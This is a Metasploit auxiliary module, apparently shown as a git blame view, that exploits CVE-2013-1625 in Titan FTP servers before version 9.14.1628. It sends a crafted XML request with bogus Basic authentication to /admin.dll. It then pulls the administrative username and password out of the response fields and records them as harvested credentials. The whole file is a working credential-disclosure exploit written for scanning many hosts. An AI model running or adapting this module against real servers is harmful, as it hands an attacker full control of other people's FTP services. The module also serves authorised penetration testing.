2013-02-09 00:21:06 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-02-09 00:21:06 +00:00
|
|
|
##
|
|
|
|
|
2013-02-08 20:43:02 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'rexml/document'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Titan FTP Administrative Password Disclosure',
|
|
|
|
'Description' => %q{
|
|
|
|
On Titan FTP servers prior to version 9.14.1628, an attacker can
|
|
|
|
retrieve the username and password for the administrative XML-RPC
|
|
|
|
interface, which listens on TCP Port 31001 by default, by sending an
|
|
|
|
XML request containing bogus authentication information. After sending
|
|
|
|
this request, the server responds with the legitimate username and
|
|
|
|
password for the service. With this information, an attacker has
|
|
|
|
complete control over the FTP service, which includes the ability to
|
|
|
|
add and remove FTP users, as well as add, remove, and modify
|
|
|
|
available directories and their permissions.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Spencer McIntyre'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-06-10 08:36:26 +00:00
|
|
|
[ 'CVE', '2013-1625' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
]
|
|
|
|
)
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options([Opt::RPORT(31001)], self.class)
|
|
|
|
end
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
2015-06-10 08:36:26 +00:00
|
|
|
'uri' => '/admin.dll',
|
2013-08-30 21:28:54 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'headers' => {
|
|
|
|
'SRT-WantXMLResponses' => 'true',
|
|
|
|
'SRT-XMLRequest' => 'true',
|
|
|
|
'Authorization' => 'Basic FAKEFAKE'
|
|
|
|
},
|
2015-06-10 08:36:26 +00:00
|
|
|
'data' => '<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>'
|
2013-08-30 21:28:54 +00:00
|
|
|
})
|
|
|
|
return if not res
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res.code == 400
|
|
|
|
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched")
|
|
|
|
return
|
|
|
|
elsif res.code != 200
|
|
|
|
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}")
|
|
|
|
return
|
|
|
|
end
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
xml_data = res.body.strip
|
|
|
|
resp_root = REXML::Document.new(xml_data).root
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
srresponse = resp_root.elements.to_a("//SRResponse")[0]
|
|
|
|
srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0]
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
info = {}
|
|
|
|
srdomainparams.elements.each do |node|
|
|
|
|
case node.name
|
|
|
|
when "DomainName"
|
|
|
|
info[:domain] = Rex::Text.uri_decode(node.text)
|
|
|
|
when "BaseDataDir"
|
|
|
|
info[:basedir] = Rex::Text.uri_decode(node.text)
|
|
|
|
when "CreationDate"
|
|
|
|
info[:username] = Rex::Text.uri_decode(node.text)
|
|
|
|
when "CreationTime"
|
|
|
|
info[:password] = Rex::Text.uri_decode(node.text)
|
|
|
|
end
|
|
|
|
end
|
2013-02-08 20:43:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (info[:username] and info[:password])
|
|
|
|
if (info[:domain] and info[:basedir])
|
|
|
|
print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}")
|
|
|
|
print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}")
|
|
|
|
end
|
|
|
|
print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'")
|
2015-06-10 08:36:26 +00:00
|
|
|
report_cred(
|
|
|
|
ip: ip,
|
2015-06-15 08:23:39 +00:00
|
|
|
port: datastore['RPORT'],
|
2015-06-10 08:36:26 +00:00
|
|
|
user: info[:username],
|
|
|
|
password: info[:password],
|
|
|
|
service_name: 'ftp'
|
2013-08-30 21:28:54 +00:00
|
|
|
)
|
|
|
|
end
|
|
|
|
end
|
2015-06-10 08:36:26 +00:00
|
|
|
|
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: opts[:user],
|
|
|
|
private_data: opts[:password],
|
|
|
|
private_type: :password
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
|
|
|
|
2013-02-08 20:43:02 +00:00
|
|
|
end
|